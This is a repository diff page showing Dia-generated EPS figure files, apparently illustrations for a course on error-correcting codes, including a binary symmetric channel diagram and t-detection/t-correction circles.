{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Bold-latin1 |
|||
/Palatino-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-BoldItalic-latin1 |
|||
/Palatino-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Symbol-latin1 |
|||
/Symbol findfont |
|||
definefont pop |
|||
/ZapfChancery-MediumItalic-latin1 |
|||
/ZapfChancery-MediumItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/ZapfDingbats-latin1 |
|||
/ZapfDingbats findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
28.346000 -28.346000 scale |
|||
-4.382500 -14.863750 translate |
|||
%%EndProlog |
|||
|
|||
|
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 5.362500 14.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 5.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 5.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 12.362500 14.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 12.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 12.362500 14.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 12.362500 11.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 12.362500 11.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 12.362500 11.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(X) dup sw 2 div 5.362500 ex sub 7.565000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Y) dup sw 2 div 12.362500 ex sub 7.565000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( 1) 12.725000 8.428750 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( *) 12.725000 11.437500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( 0) 12.725000 14.437500 m gs 1 -1 sc sh gr |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 8.362500 m 11.858784 11.294986 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.370462 11.338628 m 11.929392 11.328743 l 11.586127 10.887530 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 8.362500 m 11.843475 8.362500 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.421738 8.612500 m 11.921738 8.362500 l 11.421738 8.112500 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 14.362500 m 11.858784 11.430014 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.586127 11.837470 m 11.929392 11.396257 l 11.370462 11.386372 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 14.362500 m 11.843475 14.362500 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.421738 14.612500 m 11.921738 14.362500 l 11.421738 14.112500 l s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(1-p) dup sw 2 div 8.862500 ex sub 7.927500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(1-p) dup sw 2 div 8.862500 ex sub 13.962500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(p) dup sw 2 div 8.862500 ex sub 12.427500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(p) dup sw 2 div 8.862500 ex sub 9.427500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(1 ) dup sw 5.000000 ex sub 8.428750 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(0 ) dup sw 5.000000 ex sub 14.428750 m gs 1 -1 sc sh gr |
|||
showpage |
|||
|
After Width: | Height: | Size: 17 KiB |
File diff suppressed because it is too large
Binary file not shown.
@ -0,0 +1,454 @@ |
|||
%!PS-Adobe-2.0 EPSF-2.0 |
|||
%%Title: /home/users/trusted-users/nicolas.masse/svn_mirror/ENSI_3rdY/CodesCorrecteurs/corr-detect.dia |
|||
%%Creator: Dia v0.95-1 |
|||
%%CreationDate: Wed Dec 13 12:04:05 2006 |
|||
%%For: nicolas.masse |
|||
%%Orientation: Portrait |
|||
%%Magnification: 1.0000 |
|||
%%BoundingBox: 0 0 361 185 |
|||
%%BeginSetup |
|||
%%EndSetup |
|||
%%EndComments |
|||
%%BeginProlog |
|||
[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright |
|||
/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one |
|||
/two /three /four /five /six /seven /eight /nine /colon /semicolon |
|||
/less /equal /greater /question /at /A /B /C /D /E |
|||
/F /G /H /I /J /K /L /M /N /O |
|||
/P /Q /R /S /T /U /V /W /X /Y |
|||
/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c |
|||
/d /e /f /g /h /i /j /k /l /m |
|||
/n /o /p /q /r /s /t /u /v /w |
|||
/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright |
|||
/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior |
|||
/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf |
|||
/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla |
|||
/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde |
|||
/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex |
|||
/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring |
|||
/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis |
|||
/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave |
|||
/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def |
|||
/cp {closepath} bind def |
|||
/c {curveto} bind def |
|||
/f {fill} bind def |
|||
/a {arc} bind def |
|||
/ef {eofill} bind def |
|||
/ex {exch} bind def |
|||
/gr {grestore} bind def |
|||
/gs {gsave} bind def |
|||
/sa {save} bind def |
|||
/rs {restore} bind def |
|||
/l {lineto} bind def |
|||
/m {moveto} bind def |
|||
/rm {rmoveto} bind def |
|||
/n {newpath} bind def |
|||
/s {stroke} bind def |
|||
/sh {show} bind def |
|||
/slc {setlinecap} bind def |
|||
/slj {setlinejoin} bind def |
|||
/slw {setlinewidth} bind def |
|||
/srgb {setrgbcolor} bind def |
|||
/rot {rotate} bind def |
|||
/sc {scale} bind def |
|||
/sd {setdash} bind def |
|||
/ff {findfont} bind def |
|||
/sf {setfont} bind def |
|||
/scf {scalefont} bind def |
|||
/sw {stringwidth pop} bind def |
|||
/tr {translate} bind def |
|||
|
|||
/ellipsedict 8 dict def |
|||
ellipsedict /mtrx matrix put |
|||
/ellipse |
|||
{ ellipsedict begin |
|||
/endangle exch def |
|||
/startangle exch def |
|||
/yrad exch def |
|||
/xrad exch def |
|||
/y exch def |
|||
/x exch def /savematrix mtrx currentmatrix def |
|||
x y tr xrad yrad sc |
|||
0 0 1 startangle endangle arc |
|||
savematrix setmatrix |
|||
end |
|||
} def |
|||
|
|||
/mergeprocs { |
|||
dup length |
|||
3 -1 roll |
|||
dup |
|||
length |
|||
dup |
|||
5 1 roll |
|||
3 -1 roll |
|||
add |
|||
array cvx |
|||
dup |
|||
3 -1 roll |
|||
0 exch |
|||
putinterval |
|||
dup |
|||
4 2 roll |
|||
putinterval |
|||
} bind def |
|||
/Times-Roman-latin1 |
|||
/Times-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Italic-latin1 |
|||
/Times-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Bold-latin1 |
|||
/Times-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-BoldItalic-latin1 |
|||
/Times-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Book-latin1 |
|||
/AvantGarde-Book findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-BookOblique-latin1 |
|||
/AvantGarde-BookOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Demi-latin1 |
|||
/AvantGarde-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-DemiOblique-latin1 |
|||
/AvantGarde-DemiOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Light-latin1 |
|||
/Bookman-Light findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-LightItalic-latin1 |
|||
/Bookman-LightItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Demi-latin1 |
|||
/Bookman-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-DemiItalic-latin1 |
|||
/Bookman-DemiItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-latin1 |
|||
/Courier findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Oblique-latin1 |
|||
/Courier-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Bold-latin1 |
|||
/Courier-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-BoldOblique-latin1 |
|||
/Courier-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-latin1 |
|||
/Helvetica findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Oblique-latin1 |
|||
/Helvetica-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Bold-latin1 |
|||
/Helvetica-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-BoldOblique-latin1 |
|||
/Helvetica-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-latin1 |
|||
/Helvetica-Narrow findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Oblique-latin1 |
|||
/Helvetica-Narrow-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Bold-latin1 |
|||
/Helvetica-Narrow-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-BoldOblique-latin1 |
|||
/Helvetica-Narrow-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Roman-latin1 |
|||
/NewCenturySchoolbook-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Italic-latin1 |
|||
/NewCenturySchoolbook-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Bold-latin1 |
|||
/NewCenturySchoolbook-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-BoldItalic-latin1 |
|||
/NewCenturySchoolbook-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Roman-latin1 |
|||
/Palatino-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Italic-latin1 |
|||
/Palatino-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Bold-latin1 |
|||
/Palatino-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-BoldItalic-latin1 |
|||
/Palatino-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Symbol-latin1 |
|||
/Symbol findfont |
|||
definefont pop |
|||
/ZapfChancery-MediumItalic-latin1 |
|||
/ZapfChancery-MediumItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/ZapfDingbats-latin1 |
|||
/ZapfDingbats findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
28.346000 -28.346000 scale |
|||
-5.975000 -11.477500 translate |
|||
%%EndProlog |
|||
|
|||
|
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 8.337500 7.337500 2.337500 2.337500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 8.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s |
|||
0.005000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 8.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 8.766789 7.337500 m 10.563197 7.337500 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 8.337500 7.337500 m 8.587500 7.087500 l 8.837500 7.337500 l 8.587500 7.587500 l ef |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 8.337500 7.337500 m 8.587500 7.087500 l 8.837500 7.337500 l 8.587500 7.587500 l cp s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 10.119098 7.587500 m 10.619098 7.337500 l 10.119098 7.087500 l s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(c ) dup sw 8.337500 ex sub 7.337500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(t) dup sw 2 div 9.506250 ex sub 6.937500 m gs 1 -1 sc sh gr |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 16.337500 7.337500 2.337500 2.337500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 16.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s |
|||
0.005000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 16.337500 7.337500 2.337500 2.337500 0 360 ellipse cp s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 16.766789 7.337500 m 18.563197 7.337500 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 16.337500 7.337500 m 16.587500 7.087500 l 16.837500 7.337500 l 16.587500 7.587500 l ef |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 16.337500 7.337500 m 16.587500 7.087500 l 16.837500 7.337500 l 16.587500 7.587500 l cp s |
|||
0.050000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 18.119098 7.587500 m 18.619098 7.337500 l 18.119098 7.087500 l s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(r ) dup sw 16.337500 ex sub 7.337500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(t) dup sw 2 div 17.506250 ex sub 6.937500 m gs 1 -1 sc sh gr |
|||
0.010000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 16.000000 9.000000 m 16.000000 9.000000 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 16.000000 9.000000 m 15.750000 9.250000 l 15.500000 9.000000 l 15.750000 8.750000 l ef |
|||
0.010000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 16.000000 9.000000 m 15.750000 9.250000 l 15.500000 9.000000 l 15.750000 8.750000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( c) 16.000000 9.000000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(t-détection) dup sw 2 div 8.337500 ex sub 11.042500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(t-correction) dup sw 2 div 16.337500 ex sub 11.042500 m gs 1 -1 sc sh gr |
|||
showpage |
|||
|
After Width: | Height: | Size: 2.4 KiB |
Binary file not shown.
@ -0,0 +1,484 @@ |
|||
%!PS-Adobe-2.0 EPSF-2.0 |
|||
%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/double_codage.dia |
|||
%%Creator: Dia v0.95-1 |
|||
%%CreationDate: Sun Dec 3 21:48:06 2006 |
|||
%%For: nicolas.masse |
|||
%%Orientation: Portrait |
|||
%%Magnification: 1.0000 |
|||
%%BoundingBox: 0 0 751 229 |
|||
%%BeginSetup |
|||
%%EndSetup |
|||
%%EndComments |
|||
%%BeginProlog |
|||
[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright |
|||
/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one |
|||
/two /three /four /five /six /seven /eight /nine /colon /semicolon |
|||
/less /equal /greater /question /at /A /B /C /D /E |
|||
/F /G /H /I /J /K /L /M /N /O |
|||
/P /Q /R /S /T /U /V /W /X /Y |
|||
/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c |
|||
/d /e /f /g /h /i /j /k /l /m |
|||
/n /o /p /q /r /s /t /u /v /w |
|||
/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright |
|||
/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior |
|||
/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf |
|||
/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla |
|||
/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde |
|||
/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex |
|||
/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring |
|||
/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis |
|||
/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave |
|||
/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def |
|||
/cp {closepath} bind def |
|||
/c {curveto} bind def |
|||
/f {fill} bind def |
|||
/a {arc} bind def |
|||
/ef {eofill} bind def |
|||
/ex {exch} bind def |
|||
/gr {grestore} bind def |
|||
/gs {gsave} bind def |
|||
/sa {save} bind def |
|||
/rs {restore} bind def |
|||
/l {lineto} bind def |
|||
/m {moveto} bind def |
|||
/rm {rmoveto} bind def |
|||
/n {newpath} bind def |
|||
/s {stroke} bind def |
|||
/sh {show} bind def |
|||
/slc {setlinecap} bind def |
|||
/slj {setlinejoin} bind def |
|||
/slw {setlinewidth} bind def |
|||
/srgb {setrgbcolor} bind def |
|||
/rot {rotate} bind def |
|||
/sc {scale} bind def |
|||
/sd {setdash} bind def |
|||
/ff {findfont} bind def |
|||
/sf {setfont} bind def |
|||
/scf {scalefont} bind def |
|||
/sw {stringwidth pop} bind def |
|||
/tr {translate} bind def |
|||
|
|||
/ellipsedict 8 dict def |
|||
ellipsedict /mtrx matrix put |
|||
/ellipse |
|||
{ ellipsedict begin |
|||
/endangle exch def |
|||
/startangle exch def |
|||
/yrad exch def |
|||
/xrad exch def |
|||
/y exch def |
|||
/x exch def /savematrix mtrx currentmatrix def |
|||
x y tr xrad yrad sc |
|||
0 0 1 startangle endangle arc |
|||
savematrix setmatrix |
|||
end |
|||
} def |
|||
|
|||
/mergeprocs { |
|||
dup length |
|||
3 -1 roll |
|||
dup |
|||
length |
|||
dup |
|||
5 1 roll |
|||
3 -1 roll |
|||
add |
|||
array cvx |
|||
dup |
|||
3 -1 roll |
|||
0 exch |
|||
putinterval |
|||
dup |
|||
4 2 roll |
|||
putinterval |
|||
} bind def |
|||
/Times-Roman-latin1 |
|||
/Times-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Italic-latin1 |
|||
/Times-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Bold-latin1 |
|||
/Times-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-BoldItalic-latin1 |
|||
